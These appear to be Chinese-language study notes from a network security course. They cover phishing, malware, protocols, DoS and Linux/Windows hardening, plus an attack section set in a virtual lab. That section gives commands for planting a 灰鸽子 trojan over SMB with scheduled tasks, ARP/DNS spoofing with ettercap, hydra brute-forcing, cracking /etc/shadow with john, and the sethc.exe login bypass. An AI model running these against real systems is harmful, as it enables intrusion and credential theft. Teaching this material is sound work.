1. 网络钓鱼的定义 网络钓鱼(Phishing),一般是指利用欺骗性和伪造的web网站引诱受害者伪造的站点上输入敏感信息,进而是是咋骗的一种攻击方式。
2. 常见的网络钓鱼手段 :1.通过电子邮件进项网络钓鱼攻击 2.通过假冒网址进行网络钓鱼攻击 使用相似网址蒙骗用户通过url编码蒙骗用户 3.发布虚假信息诈骗 4.通过手机分享钓鱼网站诈骗
3. 网络钓鱼防范: 1.从网络第钓鱼途径预防钓鱼者 2.培养分辨真假网站的能力 3.通过既有软件分辨真假网站 4.提高安全意识是防范的关键

操作系统安全

  1. 操作系统(operating System,os)是管理和控制计算机软件和硬件资源的计算机程序,是直接运行在“裸机”上的最基本的系统软件。 一个标准的个人计算机操作系统具备进程管理、内存管理、文件系统、网络通信、安全机制、用户界面和驱动程序几个功能。
1. DOS操作系统 dos是磁盘操作系统的缩写,MS-DOS是微软公司于1979年为IBM个人计算机开发的一个单用户任务的操作系统。
2. Windows操作系统 Windows是微软公司研发的采用了图形化模式CUI的操作系统,用户可以通过在执行“CMD”命令进入DOS模式。
3. UNIX操作系统 UNIX操作系统最早又贝尔实验室于1969年开发出来的一个多用户、多任务、支持多重处理器结构的分时操作系统。
4. linux是一个免费使用传播的类UNIX操作系统,1991年10月5日首次公开发布。林纳斯以linux为名加入到GNU计划中,并通过GPL(General Public License,通用公共许可证)的通用性授权、永续用户销售、复制并且改动程序。
5. MacOS Mac OS是苹果公司自行开发的一个UNIX那个的图形化界面操作系统,运行于Macintosh系列计算机上。2011年7月20日,MacOS X正式被苹果改名为OS X,体现了Mac与IOS的融合。
  1. 登录安全
1. 设置开机密码:win+r打开运行对话栏,输入“cmd”打开DOS,输入命令:net user “username” “password” /active:yes。
2. 设置锁屏或屏保密码: Win+l 7.2.3 关闭远程桌面与远程协助 远程桌面和远程协助都是系统提供的远程控制计算机的功能。
  1. 文件安全
1. NTFS可以设置权限,Administrator可以为普通用户设置、达到用户之间不干扰。
2. 软件安全分为选择正规渠道下载软件、谨防安装过程中的流氓软件及插件、及时对软件进行上级与打补丁、安装防火墙,杀毒软件等安全软件。
3. 操作系统漏洞是指计算机操作系统本身所存在的问题或技术缺陷。
4. 移动操作系统概述 移动操作系统是指在移动设备上运行的操作系统,一般指在智能手机上运行的操作系统。1992年,IBM公司发布第一台智能手机(Simon)。具备打电话、收发邮件、发送传真、手写备忘录和第三方应用程序。
5. 主流的三大移动操作系统是Google的Androld OS、苹果公司的IOS和微软公司的Windows Phone。 主流的锁屏方式又密码、图形、指纹和人脸。

病毒与木马

  1. 病毒
1. 计算机病毒是指编写者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或代码。
2. 计算机病毒特点 
  1. 传染性是一台计算机病毒通过各种渠道扩散到未感染的计算机中。
  2. 破坏性是同城表现为增删改移导致程序无法运行。
  3. 潜伏性与可触发性是指大部分病毒并不会马上发作。病毒可触发性是指主机满足条件后被触发。
  4. 隐蔽性是指计算机病毒必须具有极强的隐蔽性。
3. 蠕虫病毒 蠕虫病毒他能够独立运行,自我复制,并主动传播至其他计算机,可以说是以种智能病毒。浦东病毒需要将其自身依附到宿主程序上。 蠕虫一般既有探测和感染两个功能。
4. 计算机感染病毒后的症状 分为计算机运行速度缓慢、菜谱使用率异常高、蓝屏且无故重启、浏览器异常、应用程序图标被篡改或空白、文件或文件夹无故消失。
  1. 木马
1. 木马是一种基于远程控制的还可工具。
2. 木马的工作原理 一个完整的木马程序一般包含客户端程序和服务器端程序两个部分,其中重要的Client主动连接Server的。
3. 木马的分类:木马程序不经用户授权就使用用户的计算机,而且往往不易被发现。木马按功能可分为几大类。 破坏型、远程控制型、盗窃型由可分为(网银类、网游类、即时通信类、盗取隐私类)、推广型、下载型。
  1. 木马和病毒的异同
1. 病毒和木马同属恶意程序,病毒可自我复制而木马则不具备、木马功能多样化,而病毒功能较为单一。
2. 木马和病毒的传播方式,通过网页传播,通过网络下载传播,通过即时通信软件传播、通过邮件传播,通过局域网传播。
  1. 木马和病毒的安全防范
1. 不随意打开来历不明的邮件、不随意下载来历不明的软件、不随意打开来历不明的网页、不随意接收即时通信软件中陌生人发来的文件、安装安全软件,定期查杀木马和病毒。
2. 打开移动存储器之前要查杀木马和病毒,及时对操作系统和安全软件进行升级、定期备份,避免感染之后数据丢失。

网络通信基础

  1. 计算机网络是分布在不同地理位置,具有独立功能的多台计算机及其设备。在通信链路和通信设备连接起来,通过通信协议和管理软件的协调下,实现资源共享和信息传递的系统。

  2. ISO/OSI是国际标准化组织(ISO)于1985年研究的网络互联模型OSI。OSI分为7层各层独立,层与层之间通过接口互相联系,上层通过接口向下层提出要求,下层通过接口向上层提供服务。

  3. 一般把OSI的上三层视为资源子网部分,下三层则称为通信子网部分,第四层作为一个承上启下层的中间层。

  4. TCP/IP体系结构

1. 主要解决跨域网络互联问题,成为传输控制协议/网络协议。分为4层:网络接口层、网际层、传输层、应用层。
2. 网际层定义了网际协议(IP)、互联网控制报文协议(ICMP)、地址解析协议(ARP)、反向地址解析协议(RARP)和网际组管理协议(IGMP)。  

传输层只定义了传输控制协议(TCP)和用户数据报文协议(UDP)。

3. 应用层定义了各种标准的应用协议,远程控制(Telnet)、文件传输协议(FTP)和简单邮件传输协议(STMP)是基于TCP的,简单网络管理协议(SNMP)、域名系统(DNS)、远程过程调用协议(RPCP)等基于UDP的。
  1. 常见的网络协议
1. ip是网络相互连接进行通信而涉及的协议,也是一套规则。规定了计算机在Internet上进行通信时应当遵守的规则。ip嵌套的结构:以太网数据包头、ip头、TCP/UDP/ICMP/IGMP头。 
  1. TCP(传输控制协议)是一种面向连接的,可靠的,基于节流的运输层通信协议,有IETF的RFC793说明。 
    1. TCP三次握手:c向s发SY N=1,SN=n、s向c发SYN ACK、c向s发ACK SN。
    2. TCP四次挥手:c向s发FIN ACK、s向c发ACK、s向c发FIN ACK、c向s发ACK。
2. UDP(用户数据协议),提供不可靠连接的数据传输。UDP传输本着一种尽力而为的目的。
3. ICMP(控制报文协议),是TCP/IP协议簇的一个面向无连接的子协议,用于在ip主机,路由之间传递控制消息。ICMP包含了差错报文、控制报文、请求应答报文。每一类又包含了几种报文,用于数据超时处理、数据参数错误处理,判断网络连通性、时间戳同步等方面。
4. ARP(地址解析协议),计算机在通信的时候涉及两个地址,网际层ip协议中的ip地址和网络接口层协议中的mac地址。互联网工程任务组(IETE)在1982年11月发布的RFC826种描述定制了ARP,ARP(地址解析协议)的功能正是为目的ip地址寻找下一跳MAC地址。
  1. 计算机网络通信过程种的风险
1. 常见的针对网络通信过程的攻击方式有以下几种,网络监听、分布式拒绝服务攻击、DNS挟持、ARP欺骗、TCP会话挟持。

网络监听

  1. 所谓的网络监听,就是使用一定的软硬件监视网络种所传输的数据报文并进行数据分析的一种技术。网络监听是一种发展成熟的网络安全技术它是一把双刃剑。
  2. 每张网卡在出厂是都有一个全球唯一的mac地址。
  3. 网卡的工作模式有四种模式
    1. 广播模式(Broad Cast Model)Mac地址是0xffffff的帧为广播帧,接收广播帧。
    2. 多播模式(Multi Cast Model)帧可以被组内接收,而组外部主机无法接收。
    3. 直接模式(Direct Model)只接收目标地址是自己MAC地址的帧。
    4. 混杂模式(Promiscuous Model)接收所有流过网卡的帧。
  4. 网络监听的工作原理
    1. 集线器模式是数据帧会到每个接入集线器的pc发,目标pc接收后判断以太网头的目标mac一致。
    2. 交换机模式是当交换机中的每个端口向交换机种发送帧时,交换机首先根据mac表查询对应的端口号,然后制定发送,其他端口不会发送。
    3. 交换机和路由器一般都会自带端口镜像功能。配置使得所有店口的流量都转发一份到镜像端口。实现对网络的监听。
  5. 常见的网络监听工具
    1. 网络监听可分为硬件类和软件类。硬件类可以检查到所有数据报文,软件类有些特定的数据报文无法获取。
    2. sniffer pro,sniffer pro时美国网络联盟公司出品的一款功能强大的网络协议分析软件。
    3. wireshark,wireshark的前身时Ethereal,它是目前时间哈桑应用最为广泛的网络报文工具之一。
  6. 网络监听的安全防范,加强局域网安全防范,在局域网部署时建议使用交换机,使用加密技术,检测局域网种是否存在实时监听的主机。

拒绝服务攻击

  1. 拒绝服务(Denial of Server ,Dos)攻击时黑客常用的攻击手段之一,是计算机或者网络无法正常提供服务的攻击。黑客实施拒绝服务攻击有以下几种情况。
    1. 恶作剧、练习、炫耀。
    2. 基于个人原因、政治原因的恶意攻击。
    3. 通过拒绝服务攻击使目标主机重启以便于启动提前种植的木马,并实施进一步的攻击。
  2. 拒绝服务攻击的对象,拒绝服务攻击是一种能让受害者无法提供正常服务的攻击,攻击对象可以时服务器、网络设备、线路、终端设备等。
  3. 常见的拒绝服务攻击技术,分为宽带消耗型和资源消耗型两大类。
    1. 当数据包数量达到或者超过网络承载的上限时,就会出现网络拥堵,就会出现相应缓慢、丢包量传输、无法上网的现象。
    2. 宽带消耗型拒绝服务攻击
    1. ICMP泛洪时利用ICMP请求ECHO报文进行攻击的一种方法。攻击方向目标主机发送大量的ICMP,已达到带宽消耗。
    2. UDP泛洪的实现与ICMP类似。不同于攻击者向目标主机的多个端口随机发送UDP报文。
    3. 垃圾邮件时针对邮件系统,发送大量垃圾邮件类将硬盘塞满。
3. 资源消耗型拒绝服务攻击 
  1. Syn泛洪攻击是利用TCP的三次握手时的,第三次响应时故意不回复,服务器会不断发第二次请求,直到超时。
  2. Land攻击是攻击者向服务器发送特定的SYN请求报文,该SYn的源ip和目标ip都被设置成服务器的地址。服务器接收后会创建一个空连接并将其保留到超时为止。
  3. cc攻击是通过大量“肉鸡”向服务器大量访问来造成拒绝服务。
  4. 慢速Dos攻击是以HTTP的结尾标志作为攻击手段,在HTTP结束时一直不发结尾标志,服务器就会一直等待。
  1. 分布式拒绝服务攻击原理,是分布在不同地理位置的攻击者对同一个目标主机实施拒绝服务攻击。
  2. 分布式拒绝服务攻击步骤
    1. 信息搜集:主数和地址数、目标主机的配置和性能都会影响攻击能否成功。
    2. 占领傀儡主机,是将傀儡做好准备,以好实施攻击。
    3. 实施攻击:黑客会找准目标主机最为薄弱或者影响面最广的时刻实施攻击。
  3. 常见的分布式拒绝服务供给工具,LOIC、HULK、DDos独裁者。
  4. 拒绝服务攻击的防范,带宽扩容、增强设备的性能、在网络边界使用专门的硬件防火墙防御、使用静态网页代替动态网页、分布式集群防御、云端流量清洗。

攻击手段

  1. 黑客的攻击技术有很多,但是攻击的步骤基本是不变的。可以把黑客攻击分为:踩点、扫描、查点、访问、提升权限、窃取信息、掩踪灭迹、创建后门、拒绝服务

  2. 简单渗透445

1. 在网段中使用“ScanPort”扫描该网段开了445端口的电脑,手工测试开放端口使用“telnet IP地址 测试端口”。
2. 使用命令将共享文件夹映射到本地,“net use 盘符 ip地址+共享名 password /user:用户名”,攻击成功后需要创建后门。
3. 运行木马在服务器添加作业,查看时间”net time ip地址“,设置作业“at ip地址 时:分 “要做的事情” ”
  1. 中间人
1. 使用kali系统模拟攻击者,利用中间人的攻击手段来获取用户登录的用户名和密码。
2. 使用的环境是虚拟环境用到的交换机是,winxp、win server 、kali。
3. 中间人攻击的工作原理就是arp欺骗
4. 部署好服务器和客户机后,登录到kali中搜索“ettercap”软件,选择sniff中的第一个选项后找到网卡。在Hosts中选择Hasts List,再选择Scan for hosts,找到你要攻击的服务器后客户客户机后选择添加一和添加二。
5. 添加好后找到Mitm中的ARP polsonlng就已经开始攻击了。
  1. 钓鱼网站
1. 钓鱼者运用社会工程学知识诱骗受害者,以在未授权情况下获取对方的个人信息。
2. 钓鱼网站的原理是:使用arp欺骗接入双方,再通过用户访问客户机将要访问的网站dns修改将其映射为自己。通过自己的网页用户提交用户名和密码时将其他送给了攻击者。
3. 在服务器中部署好后,打开kali的命令窗口并输入`vim /etc/ettercap/etter.dns`编辑这个文件,找到“microsoft sucks”下方把域名和ip写入,注意:A代表正向解析,PTR代表反向解析。在kali上开启web服务`systemctl start apache2`,开启后使用命令验证一下`netstat -antpl`。确定开启后找到"/var/www/html"这里存储要显示的页面。注意记得把文件的权限修改一下。
4. 部署好服务器和客户机后,登录到kali中搜索“ettercap”软件,选择sniff中的第一个选项后找到网卡。在Hosts中选择Hasts List,再选择Scan for hosts,找到你要攻击的服务器后客户客户机后选择添加一和添加二。
5. 添加好后找到Mitm中的ARP polsonlng后再找到plugins中的Manage the plugins的dns_spoof。
  1. 木马
1. 通过经典的木马攻击还原场景,来学习木马的制作,并实现植入木马对目标主机进行完全控制。木马具有隐蔽性、潜伏性和再生性。

2. 木马的组成:客户端是安装攻击者的控制台,他负责远程控制。服务端是被安装木马的受害者也称肉鸡。

3. 中了木马后会出现硬盘不停读写、鼠标键盘不听使唤、窗口突然关闭和打开。

4. 实现客户机控制服务器

  1. 再客户端打开”灰鸽子“找到服务器配置后把IP写入,再点击生成服务器将其发送给服务器。使用`net use \\ip\ipc$ password /user:username`代表访问445端口。通过445连接后使用命令将其复制到服务器中并设置定时任务(任务不要太靠近于当前时间,不然电脑会认为是明天要执行的任务)
  1. 扫描(扫描是一个给成重要的任务,如果不扫描就无法知道哪个电脑的端口没开)与爆破。
1. 端口检测之前需要简单的认识一些端口
端口服务端口服务
21FTP443HTTPS
22SSH1433SQL Server
23Telnet1521Oracle
25SMTP3306MySQL
80HTTP3389RDP
445SMB
2. Nmap:nmap称为扫描王,是开源并跨平台的。
    
            nmap -sP 				ping扫描
    	nmap -sP 192.168.1.1-192
    	nmap -sP 192.168.1.1/24
    nmap -p  				指定端口范围
    nmap -sT 				TCP连接扫描
    nmap -sS 				TCP SYN扫描
    nmap -sU 				UDP扫描
    nmap -sV 				版本扫描
    nmap -O  				启用操作系统探测
    nmap -A 				全面扫描
    nmap -oA 				保存到所有格式
    	nmap 192.168.1.1 -oA result.txt
    

3. linux下破解口令
    
            hydra -l root -P /root/dic/test.dic 192.168.1.1 ssh -vV
    小写的l和p代表一个字符,大写的代表一个可迭代对象(就是字典)。
    后面的IP就是要刷的主机,再后面的是服务,要刷扫描协议就写扫描协议。
    

4. 在Linux下破解密码
    
            john --wordlist=/root/dic/test_pwd.dic /etc/shadow
    john --show /etc/shadow
    test_pwd.dic是字典。
  1. 破解Win密码
1. shift漏洞破解win7漏洞:在未登录系统时,连续按5次shift键,弹出程序c:\windows\system32\sethc.exe,部分win7及win10系统在未登录时,可以通过系统修复漏洞篡改系统文件名!
    
            c:\windows\system32\cmd								# cmd工具路劲
    c:\windows\system32\config\SAM						# 用户密码存储位置 
    net user username password							# 修改账户密码 
    

2. 漏洞利用过程

  1. 开启wind7虚拟机,开机并设置复杂密码(扮演密码忘记),关机并开机,在出现windows logo 时强制关机。
  2. 再次开机,出现“启动修复(推荐)”及选择该选项,出现系统还原时点击取消,等待几分钟后,会出现问题原因,点击查看详细信息,打开最后一个连接即一个记事本,记事本中点打开并选择显示所有文件,找到sethc并改名sethc-bak,再找到cmd,复制一份cmd改名为sethc后,全部关闭。
  3. 系统重启完毕后,连续按5次shift键,将弹出cmd工具,使用命令net user username password ,将当前用户密码修改掉即可,另外创建一个用户,并提升为管理员后并注销即可,这样的好处为不修改当前用户的密码即可登录系统。
3. PE破解win密码

  1. U盘安装pe系统,开机进入Bloss选择Boot,找到usb点加号,再点F10确定。进入pe后,双击“破解win登录密码”,点击打开选择你要破解的用户,更改口令后点击保存更改。

安全加固

Linux

1.安全加固
  1. umask值
1. 这只默认的umask值,增强安全性,使用`umask`命令可以查看umask的值。
2. 使用命令`vi /etc/profile`修改配置文件,添加行`umask 027`,即新建的文件属主读写执行权限,同组用户读和执行权限,其他用户无权限。
  1. Bash历史命令
1. 设置Bash保留历史命令的条数,使用命令`cat /etc/profile | grep HISTSIZE=`和`cat /etc/profile | grep HISTFILESIZE=`来查看保留历史纪录的条数。
2. 使用命令`vi /etc/profile`修改配置文件,修改HISTSIZE=5和HISTFILESIZE=5来保留最新执行的5条命令。
  1. 登录超时
1. 设置系统登录后,连接超时时间,增强安全性,使用命令`cat /etc/profile | grep TMOUT`来查看TMOUT是否被设置。
2. 使用命令`vi /etc/profile`修改配置文件,添加`TMOUT=180`来设置3分钟超时时间,按秒计算。
  1. root路径
1. 检查系统root用户环境变量path设置中是否包含‘.’`echo $PATH`,使用命令修改$PATH后面的路径`vi /etc/profile`。
2.账户安全
  1. 禁用无用账户
1. 减少系统无用账号,减少风险,使用命令查看口令文件`cat /etc/passwd`,使用命令`passwd -l <username>`锁定不必要的账号。
  1. 账号策略
1. 防止口令暴力破解,降低风险,使用命令查看配置文件`cat /etc/pam.d/system-auth`。
2. 设置连续输错10次密码,账号锁定5分钟,使用命令`vi /etc/pam.d/system-auth`修改配置文件添加`auth required pam_tally.so onerr=fail deny=10 unlock_time=300`。
  1. 检查特殊账号
1. 查看空口令和root权限的账号,使用命令`awk -F:'($2=="")' /etc/shadow`查看空口令账号,使用命令`awk -F:'($3==0)' /etc/passwd`查看UID为零的账号。
2. 使用命令`passwd <username>`为空口令账号设定密码,UID为零的账号应该只有root,设置UID方法`usermod -u UID <username>`。
  1. 口令周期策列
1. 加强口令的复杂程度,降低被猜解的可能性,使用命令`cat /etc/login.defs | grep PASS`and`cat /etc/pam.d/system-auth`查看密码策略设置。
2. 使用命令`vi /etc/login.defs`修改配置文件,max最大天数、min最小天数、warn过期前提醒天数。
3. `chage -m 0 -M 30 -E 2023-01-01 -W 7 <username>`,将此用户的密码最长使用天数设为30,最短使用天数设为0,账号2023-01-01日过期,过期前7天里警告用户。
  1. 口令复杂度策略
1. 使用命令`cat /etc/pam.d/system-auth | grep pam-cracklib.so`查看密码复杂度策略设置。
2. 建议在`/etc/pam.d/system-auth`文件中配置:`password requisite pam_cracklib.so difok=3 minlen=8 ucredit=1 lcredit=-1 dcredit=-1`,至少8位,包含一位大写字母,一位小写字母和一位数字。
  1. 限制root远程登录
1. 限制root远程telnet登录,使用命令`cat /etc/securetty | grep CONSOLE` 查看是否禁止root远程登录。
2. 编辑`vi /etc/securetty`文件,修改`CONSOLE = /dev/tty01`。
  1. 检查Grub/Lilo密码
1. 查看系统引导管理器是否设置密码,使用命令`cat /etc/grub.conf | grep password`查看grub是否设置密码,使用命令`cat /etc/lilo.conf | grep password` 查看lilo是否设置密码。
2. 编辑`vi /etc/grub.conf`的splashimage这个参数下一行添加:passwoord密码,如果需要md5加密,可以添加一行:password --md5 密码。编辑`vi /etc/lilo.conf`的password=密码。
  1. SNMP团体字
1. 如果打开了SNMP协议,snmp团字体设置不能使用默认的团体字。查看配置文件`cat /etc/snmp/snmpd.conf`。
2. 编辑`vi /etc/snmp/snmpd.conf`应禁止使用public、private默认团体字,使用用户自定义的团体字,例如将一下设置中的public替换为用户自定义的团体字:`com2sec notConfigUser default public`。
  1. 弱口令审计
1. 检查系统弱口令,`john /etc/shadow --single`and`john /etc/shadow --wordlist=pass.dic`。使用`passwd <username>`命令为用户设置复杂密码。
3.服务进程
  1. 基础
1. 服务就是运行在网络服务器上监听用户请求的进程。服务是通过端口号来区分的。
2. 常见的服务及其对应的端口{ftp:21,ssh:22,telnet:23,smtp:25,ssl:443,http:80,pop3:110}。
3. 在linux系统中,服务一般是通过inetd进程或启动脚本来启动。通过inetd来启动的服务可以通过在/etc/inetd.conf文件进行注释来禁用。通过启动脚本启动的服务可以通过改变脚本名称的方式禁用。
4. 查看服务的两个命令,`pstree`是以树状结构来展示的,`ps aux`是直接展示的,展示的比较详细。
  1. 检查SSH服务
1. 对SSH服务进行安全检查,使用命令`cat /etc/ssh/sshd_config`查看配置文件。 
  1. 不允许root直接登录,设置`PermitRootLogin=no`。
  2. 修改SSH使用的协议版本,设置`Protocol=2`。
  3. 修改允许密码错误次数(默认是6次),设置`MaxAuthTries=3`。
  1. TCP Wrapper
1. 使用TCP Wrapper对libwrap库支持的程序做访问控制,使用命令`cat /etc/hosts.allow`和`cat /etc/hosts.deny`查看配置。
2. 修改配置`hosts.allow and hosts.deny`,编辑`vi /etc/hosts.allow`,加入`SSHD:<IP地址>`、编辑`vi /etc/hosts.deny`,加入`sshd:ALL`。该配置为仅允许特定IP地hi访问ssh。
  1. NFS共享
1. 查看NFS共享,使用命令`exportfs`查看NFS输出的共享目录,使用命令`vi /etc/exports`编辑配置文件,删除不必要的共享。
  1. Syslogd认证相关记录
1. 查看所有日志记录,`cat /etc/rsyslog.conf | grep authpriv`,查看是否有authpriv.* /var/log/secure。
2. 添加相关日志的记录,将authpirv设备的任何级别的 信息记录到/var/log/secure文件中。
  1. Syslogd日志设置
1. 查看所有日志文件,使用命令`cat /etc/rsyslog.conf`查看rsyslogd的配置。 
  1. 系统日志默认,/var/log/messages
  2. cron日志默认,/var/log/cron
  3. 安全日志默认,/var/log/secure
  1. 限制Ctrl+Alt+Del命令
1. 防止误使用Ctrl+Alt+Del重启系统,使用命令`cat /etc/inittab | grep ctrlaltdel`查看输入行是否被注释。
2. 下使用命令`vi /etc/inittab`编辑配置文件,在行开头添加注释符号’#',`# ca::ctrlaltdel:/sbin/shutdown -t3 -r now`,再使用命令’init q’应用设置。
  1. 服务/进程安全
1. 使用命令`who -r`查看当前init级别。
2. 使用命令`chkconfig --list <服务名>`查看所有服务的状态。
3. 使用命令`chkoonfig --level <init级别> <服务名> on|off | reset`设置服务在个init级别下开机是否启动。
4.网络配置
  1. 检查网络参数
1. linux中提供了sysctl命令,可调整网络参数。使用命令`sysctl -a`查看当前网络参数。

2. 使用命令`vi /etc/sysctl.conf`修改配置文件,有选择地添加以下内容:
    
            net.ipv4.icmp_echo_ignore_broadcasts = 1		# 忽略ICMP广播
    net.ipv4.icmp_echo_ignore_all = 1				# 忽略ICMP echo请求
    net.ipv4.ip_default_ttl = 128					# 修改TTL为128
    

3. 使用命令`sysctl -p`使更改生效。
  1. 自定义规则
1. iptables命令是linux上常用的防火墙软件,是netfilter项目的一部分。命令选项输入顺序,`iptables -t 表名 <-A/I/D/R> 规则链名 [规则号] <-i/o 网卡名> -p 协议名 <-s 源IP/源子网> --sport 源端口 <-d 目标IP/目标子网> --dport 目标端口 -j 动作`。
    
            iptables 
    	-t 表名 
    	<-A/I/D/R> 规则链名 [规则号] 
    	<-i/o 网卡名> 
    	-p 协议名 
    	<-s 源IP/源子网> 
    	--sport 源端口 
    	<-d 目标IP/目标子网> 
    	--dport 目标端口 
    	-j 动作
    # 参数选项
    	-A				# 向规则链中添加条目;
    	-D				# 从规则链中删除条目;
    	-i				# 向规则链中插入条目;
    	-L				# 显示规则链中已有的条目;
    	-p				# 指定要匹配的数据包协议类型;
    	-s				# 指定要匹配的数据包源ip地址;
    	-j<目标>			# 指定要跳转的目标;
        -i<网络接口>		# 指定数据包进入本机的网络接口;
        -o<网络接口>		# 指定数据包要离开本机所使用的网络接口;
    

2. 规则链名包含:

  1. INPUT链:处理输入数据包。
  2. OUTPUT链:处理输出数据包。
  3. PORWARD链:处理转发数据包。
3. 动作包含:

  1. accept:接收数据包。
  2. DROP:丢弃数据包。
  3. REDIRECT:重定向、映射、透明代理。
4. 限制进入连接
    
            iptables -A INPUT -i eth0 -s 192.168.10.0/24 -p tcp --dport 22 -j ACCEPT
    iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
    iptable -A INPUT -i eth0 -p tcp --dport 22 -j DROP
    

5. 限制外发连接
    
            iptables -A OUTPUT -o eth0 -p tcp --syn -j DROP
    iptables -A OUTPUT -o eth0 -p udp -j DROP
    

6. 查看规则`Iptables --list`。
5.日志审计
  1. 配置vi /etc/rsyslog.conf,启用安全事件日志记录*.err;kern.debug;daemon.notice /var/adm/messages
  2. ls /var/log
    1. boot.log,该文件记录了系统在引导过程中发生的事件,就是linux系统开机自检过程显示的信息。
    2. cron,该日志文件记录crontab守护进程crond所派生的子进程的动作,前面加上用户、登录时间和PID,以及派生出的进程的动作。
    3. lastlog,该日志文件记录最近成功登录的事件和最后一次不成功的登录事件,由login生成。在每次用户登录时被查询,该文件时二进制文件,需要使用lastlog命令查看。
    4. wtmp,该日志文件永久记录每个用户登录、注销及系统启动、停机的事件。Last命令就是访问的这个文件。
  3. 系统日志分析
    1. message日志:
    1. messages日志位置为/var/log/messages。
    2. messages中记录有运行信息和认证信息,对于追查恶意用户的登录行为有很大帮助。more /var/log/messages
2. cron日志: 
  1. cron日志位置为/var/log/cron。
  2. 记录crontab守护进程crond所派生的子进程的动作,前面加上用户、登录时间和PID,以及派生出的进程的动作。more /var/log/cron
3. secure日志: 
  1. ssh登录日志会存储于/var/log/secure中,若日志中出现连续大量的登录错误信息,则可能意味着远程主机在尝试破解ssh登录口令。
4. last日志: 
  1. last命令用于查看最近的用户登录情况,last命令读取wtmp内容。
  2. lastlog命令,用于查看系统内所有账户最后一次登录信息,该命令读取/var/log/lastlog内容。
6.安全工具
  1. ps,查看系统当前运行的进程。

  2. locate/find,用于查找指定名称的文件。

  3. netstat,列出所有监听端口及这些端口的所有连接者。

  4. grep/awk,列出所有包含指定字符串的文件,可以用于查找可以的后门以及Webshell文件。

  5. strace,对应用的系统调用和信号传递的跟踪结果来对应用进行分析,显示这个进程所作用的所有系统调用。这可以用来判断程序运行的行为。

  6. strings,通常用来协助分析二进制文件的安全性。

  7. grep命令使用$grep -i -r eval\(\$_post /app/website)/*,其中-i表示不区分大小写,-r表示搜索指定目录及其子目录。

  8. john

1. john /etc/shadow --single
2. john /etc/shadow --wordlist=pass.dic
  1. Hydra
1. hydra -l login -P /tmp/passlist 192.168.0.1 ftp,login为要破解的用户名,passlist为密码字典库。
  1. chkrootkit
1. 用于linux的本地rootkit检查工具,用户检查后门程序。检查名命令`./chkrootkit -q -r/`。
  1. rkhunter
1. 也是用于后门程序检查的工具,检测命令`rkhunter --check`。

Windows

1.安全基础
  1. 基础命令

    ver # 查看系统版本
    hostname # 查看主机名
    ipconfig /all # 查看网络配置
    net user # 查看用户
    netstat -ano # 查看开放端口
    regedit # 打开注册表
    eventvwr.msc # 打开事件查看器
    services.msc # 打开系统服务
    gpedit.msc # 打开组策略编辑器
    secpol.msc # 打开本地安全策略
    lusrmgr.msc # 打开本地用户和组

  2. 开启和关闭服务net start/stop servername

    smss.exe # Session Manager
    csrss.exe # 子系统服务器进程
    winlogon.exe # 管理用户登录
    services.exe # 包含更多系统服务
    lsass.exe # 管理ip安全策略以及启动ISAKMP/Oakley和ip安全驱动程序。
    svchost.exe # 包含更多系统服务
    spoolsv.exe # 将文件加载到内存中以便后打印
    explorer.exe # 资源管理器
    internat.exe # 输入法

  3. windows日志文件默认位置是%systemorrt%\system32\config

    安全日志文件:%systemroot%\system32\config\SecEvent.EVT
    系统日志文件:%systemroot%\system32\config\SysEvent.EVT
    应用程序日志文件:%systemroot%\system32\config\AppEvent.EVT
    FTP连接日志和HTTPD事务日志:%systemroot%\system32\LogFiles\

  4. NTFS分区:

1. NTFS权限既影响网络访问者也影响本地访问者。
2. NTFS权限可以为驱动器、文件夹、注册表键值、打印机等进行设置。
3. 权限可以配置给用户或组,不同用户或组同一个文件夹或文件可以有不同的权限。
4. 分区转换:convert D:/fs:ntfs。
5. 不可逆,只能将FAT或FAT32系统转换为NTFS系统。
  1. 权限的优先顺序:
1. 每种权限都有允许和拒绝两种设置方式。
2. 权限的来源有直接设置和继承两种。
3. 如果权限的设置出现矛盾,系统按下面的有限顺序确定权限。
  1. 移动、复制对权限继承性的影响:
1. 在统一分区内移动文件的文件夹,权限保持不变。在不同分区见移动文件或文件夹,权限继承新位置的权限。
2. 复制文件或文件夹,权限会继承新位置的权限。
3. 吧文件或文件夹移动或复制到FAT分区中时权限会丢失。
2.入侵调查
  1. 及早发现系统异常
    1. 系统启动:系统日志记录、系统运行时间、网络连接时间。
    2. 系统资源:进程占用大量CPU时间、进程消耗大量物理内存、磁盘空间减少。
    3. 网络流量异常:发送或接收大量SYN数据包、发送或接收大量ICMP数据包、其他流量。
  2. windows查看遗留痕迹
    1. IE临时文件,访问过网页Docuents and Settings\<账号>\Local Settings\Temporara Internet Files
    2. 访问地址记录,记录访问过的网址和本地地址,按日期排列Docuents and Settings\<账户>\Loacl settings\History
    3. 使用文件记录,打开过的文档Docuents and Settings\<账号>\Recent
    4. cookie记录,访问网址用户使用过的Docuents and Settings\<账号>\cookie
    5. 计划任务,使用命令查看at
    6. 注册表:
    1. 曾经存在的账号HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ProfileList
    2. 曾经安装过的软件HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
7. 检查交换文件 
  1. `HKLM\System\CurrentControlSet\Control\Session Management\ClearPageFileAtShutdown`
  2. 检查\winnt\profile\目录,如果账户存在在而以该账号命名的自u路不存在,则该账户还没有登录过系统。
  3. 如果用户目录存在而该账户不在用户列表中,则说明用户ID曾经存在而已被删除。
  1. 查看日志分析入侵情况
    1. 审核日志:系统日志、应用日志、安全性日志、web日志、FTP日志、数据库日志。
    2. 登录类型及安全日志分析
    1. 登录类型2:交互式登录(Interactlve)、在本地键盘上进行的登录,但不要忘记通过KVM登录任然属于交互式登录,虽然它是基于网络的。
    2. 登录类型3:网络(Network)、当你从网络的上访问一台计算机时在大多数情况下Windows记为类型3,最常见的情况就是连接到共享文件夹或者打印机时。
    3. 登录类型5:服务(Service)、与计划任务类似,每种服务都被配置在某个特定的用户账户下运行,当一个服务开始时,Windows首先为这个特定的用户创建一个登录会话,这个被极为类型5。
    4. 登录类型7:解锁(Unlock)、你可能希望当一个用户离开他的计算机时相应的工作站自动开始一个密码保护的屏保,当一个用户回来解锁时,Windows就把这种解锁操作认为是一个类型7的登录,失败的类型7登录说明有人输入了错误的密码或者有人在尝试解锁计算机。
    5. 登录类型8:网络明文(NetworkCleartext)、当从一个使用Advapi的ASP脚本登录或者一个用户使用基本验证方式登录IIS才会是这种登录类型,“登录过程”栏都将列出Advapi。
